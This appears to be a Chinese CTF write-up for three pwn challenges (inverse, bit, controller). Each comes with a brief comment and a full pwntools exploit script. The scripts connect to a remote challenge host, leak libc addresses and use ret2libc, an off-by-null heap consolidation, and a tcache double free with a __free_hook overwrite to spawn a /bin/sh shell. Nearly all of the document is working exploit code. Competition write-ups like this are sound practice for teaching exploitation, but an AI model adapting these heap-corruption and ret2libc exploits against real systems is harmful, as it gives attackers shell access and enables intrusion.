

# HWS 山东大学

## inverse

ret2libc,没什么好说的

```
from re import X
from timeit import repeat
from pwn import *
import base64
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./11')
else:
    p=remote("124.71.135.126", 30012)

s      = lambda data      :p.send(data)
sl     = lambda data      :p.sendline(data)
sa     = lambda x,data    :p.sendafter(x, data)
sla    = lambda x,data    :p.sendlineafter(x, data)
r      = lambda num=4096  :p.recv(num)
rl     = lambda num=4096  :p.recvline(num)
ru     = lambda x         :p.recvuntil(x)
itr    = lambda          :p.interactive()
uu32   = lambda data      :u32(data.ljust(4,b'\x00'))
uu64   = lambda data      :u64(data.ljust(8,b'\x00'))
uru64  = lambda          :uu64(ru('\x7f')[-6:])
leak   = lambda name,addr :log.success('{} = {}'.format(name, hex(addr)))
libc_os = lambda x        :libc_base + x
libc_sym = lambda x        :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()

elf=ELF('./11')
libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
#libc=ELF('./libc.so.6')
#libc=ELF('./libc.so')

ru('input world tag: ')
```

```

s('/bin/sh')
sl(str(-1))
ru('leave me a msg:')
p1=b'a'*0x3c+p32(0)+p32(elf.plt['puts'])+p32(0x080493D5)+p32(elf.got['printf'])

sl(p1)
libc_base=uu32(r(4))-libc.sym['printf']
leak('libc base',libc_base)
sys=libc_sym('system')
sl(str(-1))
ru('leave me a msg:')
p1=b'a'*0x3c+p32(0)+p32(sys)*2+p32(0x0804C030)

sl(p1)

p.interactive()

```

## bit

真正意义上的off by null，只有一位覆盖。利用以下的构造，来前向合并

[glibc 2.29-2.32 off by null bypass - wjlh's blog \(wjlh.com\)](http://wjlh.com/glibc-2.29-2.32-off-by-null-bypass/)

```

from re import X
from timeit import repeat
from pwn import *
import base64
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./11')
else:
    p=remote("124.71.135.126", 30051)

s      = lambda data      :p.send(data)
sl     = lambda data      :p.sendline(data)
sa     = lambda x,data    :p.sendafter(x, data)
sla    = lambda x,data    :p.sendlineafter(x, data)
r      = lambda num=4096  :p.recv(num)
rl     = lambda num=4096  :p.recvline(num)
ru     = lambda x         :p.recvuntil(x)
itr    = lambda          :p.interactive()
uu32   = lambda data      :u32(data.ljust(4,b'\x00'))
uu64   = lambda data      :u64(data.ljust(8,b'\x00'))
uru64  = lambda          :uu64(ru('\x7f')[-6:])

```

```

leak    = lambda name,addr      :log.success('{} = {}'.format(name, hex(addr)))
libc_os = lambda x              :libc_base + x
libc_sym = lambda x             :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()

elf=ELF('./11')
#libc=ELF('./libc-2.27.so')
libc=ELF('./libc-2.31.so')
#libc=ELF('./libc.so.6')
#libc=ELF('./libc.so')

def menu(ch):
    sla('# ',str(ch))
def get_data(cont):
    mcont=''
    for i in cont:
        mcont+=('{:08b}'.format(i))[:-1]
    return mcont
def add(size,data='2'):
    menu(1)
    if data=='2':
        data='0'*(size-1)+'2'
    sla('channel size: ',str(size*8))
    sa('channel data: ',data)
def show(idx):
    menu(2)
    sla('index: ',str(idx))
def dele(idx):
    menu(3)
    sla('index: ',str(idx))

add(0x418)
add(0x78)
add(0x418)
add(0x438)
add(0x78)#4
add(0x428)
add(0x78)#5
dele(0)
dele(3)
dele(5)

dele(2)
data0=b'\x00'*0x418+p32(0x971)+b'\x00\x00\x00'
add(0x438,get_data(data0)+'2')
add(0x418)

```

```

add(0x428)
add(0x418)

dele(5)
dele(2)

data_fd=b'\x00'*8+b'\x50'
add(0x418,get_data(data_fd)+'2')
add(0x418)

dele(5)
dele(3)
add(0x9f8)#3
data_bk=b'\x50'
add(0x428,get_data(data_bk)+'2')
add(0x418)
add(0x78)
data=b'\x00'*0x70+p64(0x970)
dele(6)
add(0x78,get_data(data))
dele(3)

add(0x18)#3

add(0x418)#9
dele(7)
show(9)
ru(': ')
data=r(8*8)
libc_base=0
for i in range(8):
    libc_base+=int((data[i*8:i*8+8])[:-1],2)<<(8*i)
libc_base=libc_base-(0x7fe043e42be0-0x7fe043c56000)+0x1000
leak('libc base',libc_base)
free_hook=libc_sym('__free_hook')
sys,binsh=get_sb()

add(0x78)#7,4
add(0x418,get_data(b'/bin/sh\x00')+'2')#10
add(0x78)#11,5

for i in range(7):
    add(0x78)
for i in range(7):
    dele(12+i)
dele(11)
dele(1)
dele(5)

for i in range(7):
    add(0x78)

```

```

add(0x78, get_data(p64(free_hook))+ '2')
add(0x78)
add(0x78)
add(0x78, get_data(p64(sys))+ '2')
leak('free hook', free_hook)
leak('libc base', libc_base)

dele(10)
p.interactive()

```

## controller

被吓到了，以为又是什么vm。uaf，配合tcache。先double free泄露出libc，然后打free\_hook

```

from re import X
from timeit import repeat
from pwn import *
import base64
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./11')
else:
    p=remote("124.71.135.126", 30061)

s      = lambda data      :p.send(data)
sl     = lambda data      :p.sendline(data)
sa     = lambda x, data   :p.sendafter(x, data)
sla    = lambda x, data   :p.sendlineafter(x, data)
r      = lambda num=4096  :p.recv(num)
rl     = lambda num=4096  :p.recvline(num)
ru     = lambda x         :p.recvuntil(x)
itr    = lambda          :p.interactive()
uu32   = lambda data      :u32(data.ljust(4, b'\x00'))
uu64   = lambda data      :u64(data.ljust(8, b'\x00'))
uru64  = lambda          :uu64(ru('\x7f')[-6:])
leak    = lambda name, addr :log.success('{} = {}'.format(name, hex(addr)))
libc_os = lambda x        :libc_base + x
libc_sym = lambda x        :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p, cmd)

```

```

    pause()

elf=ELF('./11')
libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
#libc=ELF('./libc.so.6')
#libc=ELF('./libc.so')

def menu(ch):
    sl(str(ch))
def show():
    menu(1)
def add(size,name='a',descrip='a'):
    menu(2)

    sla("What's length of the new pipe name? ",str(size))
    if size!=1:
        sla("What's name of the new pipe? ",name)
        sla("Please write a description: ",descrip)
        sla('Please enter the data (radius,speed,length): ','1,1,1')
def edit(idx,cont,ch=1):
    menu(6)
    sla('1. modify name\n2. modify note\nChoose >',str(ch))
    sla('Please choose pipe: ',str(idx))
    sla('Plese input info >',cont)
def dele(idx):
    menu(3)
    sla('Please choose pipe: ',str(idx))

add(1)
add(1)
dele(12)
s('\n')
dele(13)
s('\n')

edit(13,flat(0x6040A0,0))
add(1)
add(1)#15
show()
ru('No.15')
ru('\x30\x6d')
libc_base=uru64()-libc.sym['malloc']
leak('libc base',libc_base)
sa('continue ...','\n')

add(0x28)#16
add(0x28,'/bin/sh\x00')#17
add(0x28,'/bin/sh\x00')#18
dele(17)
s('\n')

```

```
dele(16)
s('\n')
edit(16, flat(libc_sym('__free_hook')))
s('\n')

add(0x28)
add(0x28, flat(libc_sym('system')))#19
dele(18)

p.interactive()
```